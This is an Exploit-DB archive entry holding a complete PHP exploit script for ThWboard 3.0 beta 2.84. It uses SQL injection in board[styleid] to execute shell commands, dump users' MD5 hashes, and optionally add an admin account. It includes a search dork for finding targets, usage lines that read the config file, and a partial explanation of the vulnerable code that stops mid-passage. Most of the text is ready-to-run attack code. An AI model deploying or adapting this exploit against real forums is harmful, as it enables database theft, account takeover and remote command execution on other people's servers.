Exploit-DB #3124
Description: ThWboard 3.0b2.84-php5 - SQL Injection / Code Execution
Type: webapps
Platform: php
Date: 2007-01-14
Author: rgod

Exploit:
<?php
print_r('
-----------------------------------------------------------------------------
ThWboard <=3.0 beta 2.84-php5 board[styleid] sql injection / cmd exec exploit
by rgod
dork: "powered by ThWboard"
version specific:
"powered by ThWboard 3 Beta 2.84-php5" "by * Baecher & * Gonschorek"
mail: retrog at alice dot it
site: http://retrogod.altervista.org
-----------------------------------------------------------------------------
');

if ($argc<5) {
    print_r('
-----------------------------------------------------------------------------
Usage: php '.$argv[0].' host path action argument [options]
host:      target server (ip/hostname)
path:      path to ThWboard
action:    [1] launch commands
           [2] disclose md5 hash of a certain user
argument:  a shell comand for action 1
           a username for action 2
Options:
 -a           additionally add a new admin user when action 1
              is performed
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Examples:
php '.$argv[0].' localhost /ThWboard/ 1 ls -la -P1.1.1.1:80
php '.$argv[0].' localhost /ThWboard/ 1 cat ./inc/config.inc.php -P1.1.1.1:80
php '.$argv[0].' localhost / 2 admin -p81
-----------------------------------------------------------------------------
');
    die;
}

error_reporting("E_ALL");
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$action=(int)$argv[3];
if (($action<>1) and ($action<>2)){die("wrong action...");}
$port=80;
$proxy="";
$argu="";
$admin_add=0;
for ($i=4; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P") and ($temp<>"-a")) {$argu.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
  $tmp=explode(":",$proxy);
  $your_ip=$tmp[0];
}
if ($action==1){
   if ($temp=="-a"){
       $admin_add=1;
   }
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

function my_encode($my_string)
{
  $encoded="CHAR(";
  for ($k=0; $k<=strlen($my_string)-1; $k++)
  {
    $encoded.=ord($my_string[$k]);
    if ($k==strlen($my_string)-1) {$encoded.=")";}
    else {$encoded.=",";}
  }
  return $encoded;
}
/*
download link: http://www.thwboard.de/downloads.php

explaination:
sql injection in /inc/header.inc.php near lines 535-560 ($board[styleid] var):

...
if(empty($board['styleid']))
{
  if(isset($g_user['styleid']))
    {
      $board['styleid'] = $g_user['styleid'];
    }
  else
    {
      $board['styleid'] = STYLE_DEFAULT;
    }
}

if( $board['styleid'] == STYLE_DEFAULT )
{
	$r_style = thwb_query("SELECT styleid, styletemplate, colorbg, color1, CellA, CellB, color4, colorbgfont, col_he_fo_font, color_err,
		col_link, col_link_v, col_link_hover, stdfont,
		boardimage, newtopicimage, border_col FROM
		".$pref."style WHERE styleisdefault=1");
}
else
{
	$r_style = thwb_query("SELECT styleid, styletemplate, colorbg, color1, CellA, CellB, color4, colorbgfont, col_he_fo_font, color_err,
		col_link, col_link_v, col_link_hover, stdfont,
		boardimage, newtopicimage, border_col FROM
		".$pref."style WHERE styleid=$board[styleid]");
}
...

( we have this code also in /inc/header.inc.php near lines 74-83:

...
if( !empty($_REQUEST) )
	extract($_REQUEST, EXTR_SKIP);

if( get_magic_quotes_gpc() )
{
	$HTTP_GET_VARS = r_stripslashes($HTTP_GET_VARS);
	$HTTP_POST_VARS = r_stripslashes($HTTP_POST_VARS);
	$HTTP_COOKIE_VARS = r_stripslashes($HTTP_COOKIE_VARS);
	$GLOBALS = r_stripslashes($GLOBALS);
}
...

so, this works regardless of php.ini settings
the extract() one turn register_globals =on on undefinied vars
the second one turn magic_quotes off
)

also the styletemplate value of returned array is used to include files locally
near lines 648-651:

...
if( file_exists('./templates/' . $style['styletemplate'] . '/dynamic.inc.php') )
{
	@include('./templates/' . $style['styletemplate'] . '/dynamic.inc.php');
}
...

so this can used to execute command even if the supplied value is like
'../templates/mail/newreply.mail[null char]'

and if you insert some code in newreply.mail file as admin

query errors and failed includes are showned at screen so you can have the table prefix
and you can extract hashes and session ids from the database:

...
<pre><b>ThWboard Error</b><b